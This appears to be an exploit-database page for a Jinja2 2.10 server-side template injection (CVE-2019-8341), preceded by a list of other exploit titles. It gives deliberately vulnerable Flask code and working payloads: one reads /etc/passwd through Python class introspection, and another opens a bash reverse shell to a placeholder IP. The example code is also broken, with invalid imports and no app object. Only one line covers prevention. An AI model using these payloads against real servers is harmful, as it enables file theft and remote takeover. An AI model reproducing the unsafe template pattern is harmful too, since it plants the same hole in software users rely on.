f3f1427938
9 changes to exploits/shellcodes ApowerManager 3.1.7 - Phone Manager Remote Denial of Service (DoS) ApowerManager 3.1.7 - Phone Manager Remote Denial of Service (PoC) AirMore 1.6.1 - Denial of Service (PoC) Free IP Switcher 3.1 - 'Computer Name' Denial of Service (PoC) Navicat for Oracle 12.1.15 - _Password_ Denial of Service (PoC) VSCO 1.1.1.0 - Denial of Service (PoC) Linux - 'kvm_ioctl_create_device()' NULL Pointer Dereference Webiness Inventory 2.3 - SQL Injection Webiness Inventory 2.3 - 'order' SQL Injection MyBB Trash Bin Plugin 1.1.3 - Cross-Site Scripting / Cross-Site Request Forgery Jinja2 2.10 - 'from_string' Server Side Template Injection qdPM 9.1 - 'search_by_extrafields[]' SQL Injection UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary File Upload
50 lines
No EOL
1.3 KiB
Python
Executable file
50 lines
No EOL
1.3 KiB
Python
Executable file
'''
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# Exploit Title: Jinja2 Command injection from_string function
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# Date: [date]
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# Exploit Author: JameelNabbo
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# Website: Ordina.nl
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# Vendor Homepage: http://jinja.pocoo.org
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# Software Link: https://pypi.org/project/Jinja2/#files
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# Version: 2.10
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# Tested on: Kali Linux
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# CVE-2019-8341
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// from_string function is prone to SSTI where it takes the "source" parameter as a template object and render it and then return it.
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//here's an example about the vulnerable code that uses from_string function in order to handle a variable in GET called 'username' and returns Hello {username}:
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'''
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import Flask
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import request
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import Jinja2
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@app.route("/")
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def index():
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username = request.values.get('username')
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return Jinja2.from_string('Hello ' + username).render()
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if __name__ == "__main__":
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app.run(host='127.0.0.1' , port=4444)
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'''
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POC
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//Exploiting the username param
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http://localhost:4444/?username={{4*4}}
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OUTPUT: Hello 16
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Reading the /etc/passwd
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http://localhost:4444/?username={{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
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Getting a reverse shell
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http://localhost:4444/?username={{ config['RUNCMD']('bash -i >& /dev/tcp/xx.xx.xx.xx/8000 0>&1',shell=True) }}
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How to prevent it:
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Never let the user provide template content.
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''' |